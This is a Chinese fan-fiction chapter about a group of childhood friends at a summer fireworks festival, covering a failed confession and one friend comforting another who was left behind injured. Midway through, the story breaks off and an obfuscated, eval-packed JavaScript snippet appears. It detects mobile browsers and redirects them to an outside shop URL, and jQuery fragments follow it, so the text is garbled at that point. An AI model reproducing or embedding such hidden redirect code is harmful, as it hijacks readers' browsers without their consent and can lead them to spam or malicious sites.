幸福的形状轻盈、绚烂,又如此饱满的圆形,就像是闪烁着莹润光泽的真珠一样。
从大海中拯救了王子的性命,用声音换取了双腿,哪怕要饮下诅咒的毒药也要来到王子身边的小美人鱼,为什么最终会走向毁灭的命运呢?
有人编织了谎言,有人占据了功劳,有人夺取了一切。
所以本该得到幸福的小美人鱼,最终才那样悲惨的死去了。
“我说,研二。”
有着一头橙金色秀发,眉目英气的少女双手环胸,倚靠在门口好整以暇地注视着眼前的少年,她分明还穿着一身漂亮的浴衣,做出的动作却相当豪迈且具有压迫力,天空一样澄净的蓝眼睛仿佛不会错漏任何谎言。
她说:“你有事在瞒着我,对吧?”
萩原研二被自家姐姐盯得下意识吞咽一下,企图用傻笑蒙混过去,“哈哈,怎么会呢姐姐……”
然而,萩原千速却用一种意味深长的目光看了自家弟弟好一会儿,直到对方局促地眼神开始乱瞟才继续开口。
“我是不知道你们三个又在瞒着我搞什么鬼,也不想过度插手你们之间的事,但是研二——”
她的目光变得认真而敏锐,语气变得格外认真郑重。
“别做让自己后悔的事,知道吗?”
心脏咚咚直跳,姐姐的目光过于锋锐透彻,以至于让萩原研二感觉自己的整个胸口都好像被剖开,被对方以强硬且不讲理的态度直视着。
羞耻感逐渐涌上心头,被这样的视线注视着,在某一刻,萩原研二真的觉得自己被她看穿了。
好在,有人及时替他解了围。
“千速~我来了哦!”
“小忍,我马上就来!”
门外传来了好友的呼唤,萩原千速的眼神再度重归温柔的蔚蓝,最后对着镜子整理了一下自己发型,确认了浴衣的状态,朝着这令人不省心的弟弟最后交代了一句。
“总之,我和小忍先过去了。研二,你和阵平小泪汇合后也早点过来啊,要是人太多,找不到我们就给我打电话,好吗?”
“了解!姐姐大人一路小心~”
萩原研二做出一个敬礼的动作,朝着自家老姐飞出一个wink,对方笑骂了一声油嘴滑舌后,与门外等待的挚友一同离开了。
大门被合上的同时,萩原研二脸上可爱的笑容也逐渐收敛起来,他叹了口气,紫罗兰色的眸子垂下,喃喃道,“抱歉啊,姐姐。今天的事,恐怕无论如何你都没办法置身事外了。”
松田阵平要在这周夏日祭的烟火大会上向与心仪的女生表白这件事,在幼驯染的三人组里不是秘密。
参考萩原研二和樱小路泪二人的建议,松田搭配了合适的衣服,整理好了发型,找好了打算送给对方的礼物,提前准备了要说的台词,成败就在今晚。
尽管已经准备万全,可直感一向很准的他心中仍有什么地方感觉不对劲。
于是,黑卷发的少年在镜子前转了又转,最终他转向了一旁的好友,眉心微蹙的模样显得相当有些凶恶,他再次询问。
“hagi,这套衣服是不是太朴素了!果然还是按照原先的想法,穿那身夹克吧?”
已经抵达松田宅本部的恋爱军师萩原研二竖起一根手指在他面前挥了挥,瞪圆一双紫眸煞有其事地说道:“小阵平,你听好了!你这个年纪的男孩子卖点就是青春干净的少年气,虽说那身夹克你穿着的确很帅,可是啊——你以为今天多少度啊!”
松田烦躁地挠了挠自己黑色的卷发,镜子里的自己怎么看都和上学时的打扮区别不大,忍不住质疑,“可千速平时也爱穿那种朋克风格的衣服吧?”
萩原实在受不了松田的脑回路了,大声道,“哪有朋克风格的浴衣啊!就算姐姐打遍了港南的不良少年,成为了他们的大姐头,也不能改变她是个正值青春年华的18岁少女的事实吧!”
松田要告白的对象,正是他的好友萩原研二的姐姐,比他们大了两岁的萩原千速。
在松田阵平的父亲松田丈太郎被当做杀人嫌疑犯误抓进警局的那段日子,松田在学校的处境是前所未有的差劲。
saku那个笨蛋不知道为什么一直躲着他,还有不少本来就看他不顺眼的家伙借机落井下石,指着他的鼻子骂他是杀人犯的儿子。
松田不屑于搭理别人的小动作,对于那些过分的欺凌一向也以牙还牙,自小跟随父亲学习拳击的他打架就没输过,谁敢来没事找事就让对方吃不了兜着走。
只是大概是遵循了打了小的来老的的某种传统,每当他痛扁了先来挑衅的家伙之后,总会有更高年级的家伙找上门来,有一次,甚至还来了几个国中生的不良少年。
他们把松田阵平团团围住,有人借机从后面偷袭,控制住了他的双手,企图让他长长记性,当时的松田阵平已经做好了要挨一顿打的准备了。
可就在此时——
“叮铃叮铃叮铃叮铃叮铃叮铃叮铃叮铃叮铃!”
车轮碾过地面扬起尘土,链条高速转动着,随着被重复按响的自行车的车铃声,出现在巷口的那道骑着自行车的身影竟逆着光高高跃起,所有人都被这特技一样的表演惊呆了。
“欧啦!!!”
“欺负我弟弟的家伙就是你们这群混蛋是吧?!”
高高飞起的自行车借势从空中压下,发出一声惊天动地的散架声,不良少年们顿时作鸟兽散。
自那时起,松田就被这位英姿飒爽的强大女性所吸引,觉得她真的是酷毙了!
头一次有了喜欢的女人,自然要给她最好的,松田阵平在帮萩原千速修理自行车时顺手改装了一下,加装了只要按下就会发出“欧啦!”的超酷炫车铃,一起递出去的情书被当成了挑战书,他最终还是没能逃过那顿打。
总之,这就是松田阵平迷上萩原千速的全过程。
第一次告白大失败后,松田拉上自己的幼驯染们开始复盘,最终得出了以下三个结论:
第一,他们年纪都还太小了,小学生早恋不可取。
第二,萩原千速喜欢的类型尚不明确,需要好好调查。
第三,太随便了,告白必须要郑重,浪漫的布景、道具还有台词都缺一不可。
这件事一拖再拖,就拖到了如今。尽管萩原千速喜欢的类型依旧是个谜,但第一和第三条终于都能够划掉了。
“说起来,小路好慢啊……”
萩原看了一眼墙壁上的挂钟,指针即将走向下午的五点半,他不禁有些担忧,“是遇到什么麻烦了吗?”
距离烟火大会开始的时间还剩两个小时,他们在松田家里反复确认今晚的计划,磨蹭了这么久,其实也有在等樱小路泪的原因。只是距离上次去樱小路家敲门都过去半个小时了,明明那个时候就已经说着快好了,结果到现在还没有消息。
“啊啊——不管了!”
松田阵平最后看了镜子里的自己一眼,重新整理了一下不久前被自己挠过的头发,将准备好的礼物塞进口袋,向坐在榻榻米上的萩原研二招呼道,“我们直接去找saku,赶紧出发,要不然就吃不上小摊了!”
萩原露出豆豆眼来,“小阵平,你到底是去吃东西还是去告白的呀……”
“我都没闻到隔壁做饭的味道,真理亚阿姨肯定还没做饭,saku那家伙瘦成这样,不吃晚饭怎么行!”
萩原眨了眨眼睛,跟着松田来到了樱小路家门口,看着他熟门熟路地轻轻敲了敲门。
“打扰了,我们来找泪!”
“哎呀,是阵平君吗?”
屋内传出一道女声,紧接着,门很快被一名脸上戴着半边眼罩的银发女人打开,曾经的影视明星露出的那只灰绿色的眸子弯了弯,朝着门口的两名少年露出温柔的笑容,“研二君也来了啊。你们进屋稍等一下好吗,小泪马上就好了,都怪我笨手笨脚的,耽误了这么久……”
与她见面的那一刻,哪怕是平时表现得再目中无人的松田阵平都露出了相当正经的表情,礼貌道:“真理亚阿姨,是遇到什么麻烦了吗?”
萩原研二也笑着,嘴甜道:“是啊真理亚阿姨,如果有什么需要帮忙的地方,请不要客气,一定要跟我们说呀。”
“呵呵……”樱坂真理亚一边招待两个少年进屋,一边掩着唇笑起来,“阵平君和研二君真可靠呢,的确是遇到了一点麻烦,不过小泪应该已经处理好了,因为是第一次穿浴衣不太懂穿法,所以有些手忙脚乱的,衣服的腰带一直松松的呢……”
萩原惊讶:“小路今天也穿浴衣吗?”
“没错呀,不是千速和小忍都说,高中时代一定要穿一次浴衣去花火大会吗!”樱坂真理亚笑着点头,只是她很快又露出了困惑的表情,“奇怪,阵平君和研二君都没穿浴衣呢……”
松田阵平、萩原研二:…………因为那是女生的仪式感啊!真理亚阿姨!
大概是听到了他们的动静,从樱小路的房间内传来了一道略显迟疑的声音,“松、松田还有萩原都在门外对吧?”
松田听到他的声音,当即挑了挑眉,回应道:“saku,你好了没有?要不要我和hagi来帮你。”
“不、不用了!我已经好了!”
樱小路的音量提高了几分,就像是被踩到尾巴的猫一样,他试图和门外的幼驯染们约法三章,“先说好,你们待会儿不可以大惊小怪,也不可以笑我,更不能一直盯着我看……”
松田眉头一跳,不知道他到底在纠结什么,还是回答:“知道了,快点出来,再晚人多起来你都吃不到东西了!”
“那我出来了……”门被拉开了一条小缝,隐约看见一道纤细的素白色人影,只是门打开了一点,马上又要合上。
“等一下!果然还是算了,我要换回去!”
松田阵平眼疾手快地拉住门把手,与门内的少年角力,他额头青筋跳动,急脾气终于发作,咬牙道:“你到底在磨蹭些什么啊?赶紧出来,都说了不会取笑你了吧!”
樱小路实在是太像贝类了,好不容易鼓起勇气打开了保护自己的壳,露出一点柔嫩的内里,又因为一点点风吹草动担惊受怕地再度将壳合上。
可你的对手可是那个强硬又直率的小阵平呀,怎么可能这么轻易地放你回去呢?
半长发的少年勾起唇角,劝慰道:“小路,你为了穿上都已经花了这么久了,再换回去岂不是努力都白费了。你说得条件我们都答应哦,所以赶快出来吧!”
樱坂真理亚也帮腔道,“对呀小泪,不要害羞了,快点出来吧。”
“可是妈妈…!”樱小路因自家妈妈的反水不满了一声,又吃力地专注于眼前和松田的角力上。
只是,他已经快要握不住门把了,哪怕拼尽全身的力气也还是没有赢过松田阵平,只能眼睁睁地看着门一点一点从门外被拉开。
就这样,珍珠项链被拉断了,黑色的珍珠一颗颗散落在了雪地之上,好像描述着这样画面感素雅的点线缟纹样流动起来。
穿着一身玉白点线缟纹样浴衣的银发少年就像是准点报时从高档时钟里弹出的精致人偶,被拉门的力道搞得整个人都扑在了门外之人的身上。
面对投入自己怀中的银白色的小鸟,黑卷发的少年苍青的瞳孔微微放大,下意识地伸手揽住了他的腰。
时间仿佛都静止了,松田阵平没有动作,樱小路泪也僵在那里,两个人都保持着这个姿势,直到樱坂真理亚手中的相机传来了一声快门的咔嚓,所有人才如梦初醒的回过神来。
樱坂真理亚忍不住笑着,“阵平君和研二君都看呆了呢,我就说小泪穿这身很好看吧。”
“妈妈!”樱小路这才惊觉,连忙后退几步,雪白的脸颊上泛起红晕,“别拍了,刚刚那个删掉!”
黑卷发的少年脸上的表情仍有些呆滞,碎发下的耳朵却已经红透了,他下意识用拇指摩挲了一下自己的手心,好像还在确认着什么触感。
片刻后,他终于反应了过来,瞪圆了一双苍青色的眼睛,红晕爬上脸颊羞恼地喊了声:“真理亚阿姨!”
银发女人看着手中的相机,露出遗憾的表情,“好吧好吧,真可惜啊,明明拍到了很漂亮的照片。”
将无意识握紧的拳头松开,半长发的少年走近了,他脸上露出轻松愉快的笑容,自荐道:“真理亚阿姨,不如把相机借给我吧,我会帮你拍很多小路漂亮的照片的!”
“哎呀,真的吗?那就拜托研二君了!”
樱坂真理亚惊喜地笑起来,那部相机最终到了萩原手里,可惜的是他一路上拍得太多,又被樱小路给没收了。
三人到达烟火大会的会场附近时,人已经很多了,松田阵平和萩原研二见缝插针地在小摊上买了点章鱼烧和巧克力香蕉这类方便吃的食物,一边投喂拿着相机不方便吃东西的樱小路泪,顺便自己也垫了垫肚子。
在夜市中找到萩原千速和大江忍时,两人正在一个打靶的摊位上和靶上的奖品较着劲。
橙金色秀发的少女拿着玩具枪时,明明就会露出一副和平时打架骑车时完全不一样的冷酷模样,这幅身姿看上去实在凛丽,前提是忽略那感人的命中率的话。
樱小路注视着这样的萩原千速,下意识举起相机按下了快门键。
“咔嚓”一声如同信号,令萩原千速和大江忍同时看了过来,少女们的脸上扬起笑容。
“啊,你们来了啊!”
“哇,小泪居然也穿了浴衣,超可爱诶!”
萩原研二得知自家姐姐在摊位上半天都没拿到想要的奖品,都忍不住笑了,“姐姐,你这完全不行呀。”
萩原千速白了说风凉话的弟弟一眼,“少啰嗦,有本事你来打!”
“真没办法,千速想要的是哪个,我来给你打。”松田阵平恰到好处地出场,留下一句耍帅的台词后从萩原千速手中接过玩具枪。
大江忍却在这时扑到樱小路边上,黏糊糊地说,“小泪刚刚是在拍千速嘛?让我看看嘛~”
樱小路将相机递给她,对于女生的贴近有些不适应的红了脸,“刚刚千速姐举枪的样子实在太帅气了,忍不住就拍下来了……”
“哇,真的好帅啊!小泪拍得也太好了,千速!你快来看!”大江忍在看到照片的一瞬间就惊喜地捂住嘴唇,连忙招手把自家好友也叫了过来。
照片中明艳美丽的少女目光专注神色冷静,一向行事豪爽的萩原千速注视着樱小路镜头下的自己,也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17672097|204865||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
微微睁大眼睛感叹一声,“原来刚刚我露出了这样的表情吗?”
大江忍笑眯眯地开起玩笑,“穿着浴衣端枪好有反差感,简直就像特工!千速,你打架又强,摩托车的技术又厉害,以后要不要去当潜入搜查官啊,说不定会有电影里那种高速公路追逐战!”
萩原千速跟着想象了一下,也忍不住自我调侃了一句,“哈哈,但是射击的准度完全不行呢!”
她们这边聊得正欢,松田那边耍完帅后凭借从漫画中学到的枪法也是一枪没中,被自家幼驯染调笑了半天。最后那个萩原千速想要的戒指,被大江忍轻松拿到了。
这个小插曲结束后,大家笑闹着跟随人群前往烟火大会的主会场。
谁都没想到,樱小路的木屐会在这个时候坏掉,他本人也因此掉了队。
木屐的绑带彻底断掉,已经没法穿了,他在刚才也崴了脚,脚腕红肿起来,每走一步疼痛都会逐渐加剧,无法再追上大家的步伐。
樱小路泪本有机会开口呼唤距离他最近的松田阵平,本来他也可以拉住松田的手,告诉他自己受了伤。
可是他什么都没做,只是放任自己的脚步越来越慢,注视着众人逐渐远去的背影,然后一瘸一拐地找了个角落的位置脱下了鞋子。
今天是相当重要的日子,盛大的舞台、浪漫的道具、表明心意的台词,大家明明一起准备了这么久,如果在这个时候出状况,一定会给他们添麻烦,耽误重要的事。
可惜的是这样的自己,已经没法在现场为幼驯染加油打气,也没办法按照原定计划拍下这一幕,还好刚刚他已经把相机拿给了萩原,他一定会把一切记录下来吧。
樱小路缓缓地呼出一口气,自言自语道:“难得,妈妈准备了浴衣啊……”
真奇怪啊,明明应该感到可惜的,为什么……会有种松了口气的感觉呢?
就在此时,绚烂的花火在夜空中绽放了,樱小路扶着树干微微仰起脑袋,明明树荫遮蔽了部分视野,他仍觉得眼前这一幕无比耀眼。
终于,不知是无法忍耐那耀眼的光芒还是脚踝上的灼热痛感,银发少年闭上了眼睛。
和怀有心事的松田阵平不一样,萩原研二是第一个察觉到樱小路泪掉队的人,他将手里的相机交给大江忍后便往回头路找去。
高挑的少年一边道歉一边拨开人流,终于在烟花绽放时于一处树荫下找到了自己要找的人。脱下了一只鞋子的银发少年扶着树干,白皙的足尖轻点着地面,他的皮肤上沾染了灰尘,脚腕处的红肿异常明显。
可最令萩原研二无法忘记的是此时樱小路的表情,明明他们一同促成了这一切,可他此时却在无声地落着泪。
萩原研二知道他流泪的原因。
在见到这一幕时,他几乎是下意识地开始思考,这是不是自己唯一的机会。
【研二——别做让自己后悔的事,知道吗?】
姐姐的声音在此时浮现在耳边,好像有什么“啪”的一声破裂了,也让萩原研二清醒似的微微睁大了眼睛。
在轰鸣的烟花声中,闭上眼像是在逃避这一切的银发少年感觉到有什么触碰上了自己脸颊,被吓了一跳的同时下意识身体后仰,却被来者揽在了怀里。
半长发的高挑少年紫罗兰色的眼中目露担忧,用空着的那只手伸手触碰着他的眼尾,轻声地问道,“怎么哭了,崴到的地方很疼吗?”
樱小路没想到萩原会回头,更没想到有人能找到自己,只难以置信地仰着脸,呆呆地问:“……为什么?”
将话语说出口的那一瞬间,樱小路才意识到自己的声音是颤抖的,他好像完全没有意识到自己一直在流眼泪,后知后觉地伸手触碰着脸颊摸到了湿痕。
樱小路瞪圆了那双青紫色的眸子,应激般下意识要挣脱萩原的怀抱,却被身材高挑的少年仍不容拒绝地紧紧禁锢在怀里。
“放开、放开!”
樱小路挣扎着,大脑中的那根弦已然崩断了。他意识到,自己最难堪的模样被萩原看见,他那敏锐的善于洞察人心幼驯染也一定会发现,就连樱小路泪自己都害怕发掘的,真正的自己。
恐惧开始蔓延,他的眼神逐渐变得绝望。
“别看我……拜托你,不要看我……”
他说的到底是自己哭泣的模样,还是真正的内心呢?萩原研二想,恐怕两者都有吧。
哪怕感到心如刀绞,少年仍然伸出温暖的手轻轻地、温柔地拍着樱小路的后背。
“没事的,小路。”
“没事的,我会背你回家。”
“没事的,很快就不痛了。”
“我会忘掉刚刚看到的一切。”
“所以,没事的。”
他一遍又一遍地在樱小路的耳边重复着。
“呜、呜……呜啊……”
在那温柔地安抚下,银发少年终于放松了紧绷地身体,将脸埋在他的胸口后,忍不住大哭起来。
脚,真的好疼啊。
烟花仍在盛放着,那绚烂的光芒将夜色照亮。
在那盛大的声响中,萩原研二仰起头轻轻说了什么,只是那不值一提的声音很快就被烟花绽放的声音所淹没了。
“拒绝了呢~”
注视着松田阵平远去的背影,大江忍依旧笑眯眯的。
“啊,拒绝了。”萩原千速说,“我只把阵平当成是弟弟嘛,而且……”
她脑海中浮现出松田阵平这些年来令人恼火的种种熊孩子行为,一时间竟然忍不住爽朗地笑起来,“这家伙,根本没有搞明白真正的喜欢是什么啊!”
“哦~做姐姐还真是辛苦呢,不过这样是不是对研二不太好呀?”
萩原千速轻嗤一声,“谁管他,谁让他不和我说阵平今天要搞事,完全是自作自受!”
嘴上埋怨着,少女的目光却望着远方的烟火,心道:抱歉啊研二,姐姐没办法偏心,接下来你只能自己努力了。毕竟,阵平和小泪也是我重要的弟弟嘛……
像是了却了一件大事,她叉着腰笑起来,“也不知道什么时候,我才能遇到自己真正喜欢的人呢?”
弯着一双狐狸眼的好友却在捂着嘴巴偷笑,“我可是知道~千速喜欢的是小泪这种美少年款的嘛~这么看,你们姐弟的喜欢类型真的很相似呢!”
萩原千速清了清嗓子,不知道是被好友拆了台还是被戳中了心事,脸上破天荒的泛起微红,“小泪那种类型真的很可爱啊……”
“哈哈,我懂我懂~”
萩原千速恐怕永远忘不了,在她小六时某一天的放学,那个洋娃娃一样的银发男孩不知道遇到了什么,膝盖都跌破了,还在不停奔跑着。
由于见过对方和研二玩过几次,萩原千速当时就推着自行车过去询问对方发生了什么。谁知,那孩子看到她时,玻璃珠似的眸子中流露出了仿佛看到假面骑士一样的目光,一直积压的情绪也终于开闸,一边流着泪抱着她的手臂语无伦次地说着,姐姐、千速姐姐……怎么办,阵平他!
总感觉自家亲弟弟贴心到有一点点恶心程度的萩原千速头一次见到可爱弟弟的范本,顿时心中生出无限勇气,女孩挽起袖子骑上自行车。
别怕小泪!交给姐姐吧!